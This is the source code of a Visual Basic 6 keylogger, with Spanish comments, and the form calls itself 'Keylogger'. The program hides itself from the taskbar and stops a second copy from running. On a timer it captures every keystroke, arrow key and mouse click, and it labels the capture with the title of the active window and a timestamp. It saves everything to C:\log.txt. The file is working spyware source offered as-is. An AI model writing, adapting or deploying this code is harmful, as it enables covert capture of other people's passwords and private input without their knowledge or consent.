Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public LastWindow As String
Public LastHandle As Long
Public dKey(255) As Long
Public Const VK_SHIFT = &H10
Public Const VK_CTRL = &H11
Public Const VK_ALT = &H12
Public Const VK_CAPITAL = &H14
Public ChangeChr(255) As String
Public AltDown As Boolean

Public Function Logged(FromFile As String) As String 'Lee el texto contenido dentro de C:\log.txt
On Error GoTo Handle
Dim sTemp As String
    Open FromFile For Input As #1   'Abre el archivo para leerlo
        sTemp = Input(LOF(1), 1)    'Obtiene el texto
    Close #1                        'Cierra el archivo
    Logged = sTemp
Exit Function
Handle:
'MsgBox "Error " & Err.Number & vbCrLf & Err.Description, vbCritical, "Error"
End Function


Function TypeWindow() 'Imprime el titulo de la ventana activa
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then 'Si el ultimo titulo de la ventana activa es directe alde la actual
' se imprime el nuevo titulo de la ventana
If Form1.Text1 <> "" Then Form1.Text1 = Form1.Text1 & vbCrLf & vbCrLf
Form1.Text1 = Form1.Text1 & "|====================" & Now & "=======================|" & vbCrLf & WindowText & vbCrLf & "|============================================================|" & vbCrLf & " " 'Se eimprime el titulo de la aplicacion, fecha y hora =P
LastWindow = WindowText 'El ultimo titulo de la ventana
End If
End Function


Sub LeeLog()
Form1.Text1.Text = Logged("C:\log.txt") 'Se carga el texto en el objeto text
End Sub

Sub GurdaLog()
Open ("C:\log.txt") For Output As #1 ' Se abre el archivo
Print #1, Form1.Text1.Text ' se sobre escribe el log
Close #1 ' y se cierra
End Sub

Private Sub Form_Load()
If App.PrevInstance = True Then: End 'Para que no existan dos programas corriendo al mismo tiempo
App.TaskVisible = False ' Nada de mostrarse en la barra de tareas

LeeLog 'Funcion que lee el archivo de log
Me.Caption = "Keylogger"
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "`"
ChangeChr(187) = "+"
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "}"

ChangeChr(219) = "{" '
ChangeChr(220) = "\"
ChangeChr(221) = "¡"
ChangeChr(222) = "{"


ChangeChr(86) = "^"
ChangeChr(87) = "*"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"

ChangeChr(119) = "?"
ChangeChr(120) = "|"
ChangeChr(121) = "¿"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "ñ"
ChangeChr(92) = "Ñ"

End Sub

Private Sub Timer1_Timer()
On Error Resume Next
'Cuando alt no este precionada
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & "[ALTUP]"
End If

'a-z A-Z

For i = Asc("A") To Asc("Z") 'Bucle que va desde 65 a 90
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
  Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
           
End If
Next

'1234567890)(*&^%$#@!

For i = 48 To 57 'Bucle para registrar los numeros
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  Else
Text1 = Text1 & Chr(i)
  Exit Sub
  End If
  
End If
Next


';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
  
End If
Next


'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
  
End If
Next

'Bloque numerico
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
  
  If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  AltDown = True
  Text1 = Text1 & "[ALTDOWN]"
  Else
   If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
   AltDown = False
   Text1 = Text1 & "[ALTUP]"
   End If
  End If
  
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
  Text1 = Text1 & " "
End If

'Cuando se precione ENTER
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf & "Enter> " ' Se le inserta un salto de linea al texto y un caracter
  'de identificacion (Alt+ 0160)
End If


If GetAsyncKeyState(8) = -32767 Then
TypeWindow
If (Right(Text1.Text, 1) = " ") Then GoTo nod 'Si es ultimo caracter es ANSI 160 no se borra nada
tip = Len(Text1.Text) - 1 'Logitud del texto menos uno
  Text1 = Left(Text1.Text, tip) 'Borrado
nod:
End If

'Cuando se precione felcha izquierda
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
  Text1 = Text1 & "[LeftArrow]"
End If

'Cuando se precione felcha Arriba
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
  Text1 = Text1 & "[UpArrow]"
'End If

'Cuando se precione flecha derechar
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & "[RightArrow]"
End If

  'Cuando se precione flecha abajo
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & "[DownArrow]"
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
  Text1 = Text1 & "[Tab]"
End If

  'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & "[Escape]"
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

' Left Click
If GetAsyncKeyState(1) = -32767 Then
  If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
Text1 = Text1 & "[LeftClick]"
End If
End If
End If
End Sub

Private Sub Timer2_Timer()
GurdaLog
End Sub